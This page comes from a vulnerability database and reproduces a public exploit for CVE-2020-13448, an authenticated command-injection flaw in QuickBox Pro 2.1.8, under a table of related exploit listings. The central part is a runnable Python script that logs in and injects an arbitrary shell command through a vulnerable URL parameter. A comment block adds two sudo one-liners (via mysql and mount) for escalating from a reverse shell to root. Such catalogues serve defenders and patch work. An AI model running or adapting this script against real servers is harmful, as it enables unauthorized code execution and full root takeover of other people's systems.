QuickBox Pro 2.1.8 CVE-2020-13448 - Remote Code Execution
| Reporter | Title | Published | Views | Family All 84 |
|---|---|---|---|---|
| vBulletin 5.6.1 CVE-2020-12720 - SQL Injection | 3 Jun 202015:53 | – | 0daydb | |
| macOS/x64 zsh RickRolling - Shellcode | 2 Jun 202013:54 | – | 0daydb | |
| vCloud Director 9.7.0.15498291 CVE-2020-3956 - Remote Code Execution | 3 Jun 202015:54 | – | 0daydb | |
| VMware vCenter Server 6.7 CVE-2020-3952 - Authentication Bypass | 3 Jun 202015:50 | – | 0daydb | |
| vBulletin 5.6.1 - (nodeId) SQL Injection Vulnerability | 15 May 202000:00 | – | zdt | |
| VMware vCenter Server 6.7 - Authentication Bypass Exploit | 1 Jun 202000:00 | – | zdt | |
| QuickBox Pro 2.1.8 - Authenticated Remote Code Execution Exploit | 1 Jun 202000:00 | – | zdt | |
| vBulletin 5.6.1 SQL Injection Exploit | 2 Jun 202000:00 | – | zdt | |
| Exploit for Missing Authentication for Critical Function in Vmware Vcenter_Server | 15 Apr 202000:51 | – | githubexploit | |
| Exploit for Missing Authentication for Critical Function in Vmware Vcenter_Server | 19 Apr 202018:35 | – | githubexploit |
10
# Exploit Title: QuickBox Pro 2.1.8 - Authenticated Remote Code Execution
# Date: 2020-05-26
# Exploit Author: s1gh
# Vendor Homepage: https://quickbox.io/
# Vulnerability Details: https://s1gh.sh/cve-2020-13448-quickbox-authenticated-rce/
# Version: <= 2.1.8
# Description: An authenticated low-privileged user can exploit a command injection vulnerability to get code-execution as www-data and escalate privileges to root due to weak sudo rules.
# Tested on: Debian 9
# CVE: CVE-2020-13448
# References: https://github.com/s1gh/QuickBox-Pro-2.1.8-Authenticated-RCE
'''
Privilege escalation: After getting a reverse shell as the www-data user you can escalate to root in one of two ways.
1. sudo mysql -e '\! /bin/sh'
2. sudo mount -o bind /bin/sh /bin/mount;sudo mount
'''
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import argparse
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from urllib.parse import quote_plus
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def exploit(args):
s = requests.Session()
print('[*] Sending our payload...')
s.post('https://' + args.ip + '/inc/process.php', data={'username': args.username, 'password': args.password, 'form_submission': 'login'}, verify=False)
try:
s.get('https://' + args.ip + '/index.php?id=88&servicestart=a;' + quote_plus(args.cmd) + ';', verify=False)
except requests.exceptions.ReadTimeout:
pass
def main():
parser = argparse.ArgumentParser(description="Authenticated RCE for QuickBox Pro <= v2.1.8")
parser.add_argument('-i',dest='ip',required=True,help="Target IP Address")
parser.add_argument('-u',dest='username',required=True,help="Username")
parser.add_argument('-p',dest='password',required=True,help="Password")
parser.add_argument('-c',dest='cmd', required=True, help="Command to execute")
args = parser.parse_args()
exploit(args)
if __name__ == '__main__':
main()
sys.exit(0)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Jun 2020 15:51Current
1Low risk
Vulners AI Score1
EPSS0.90384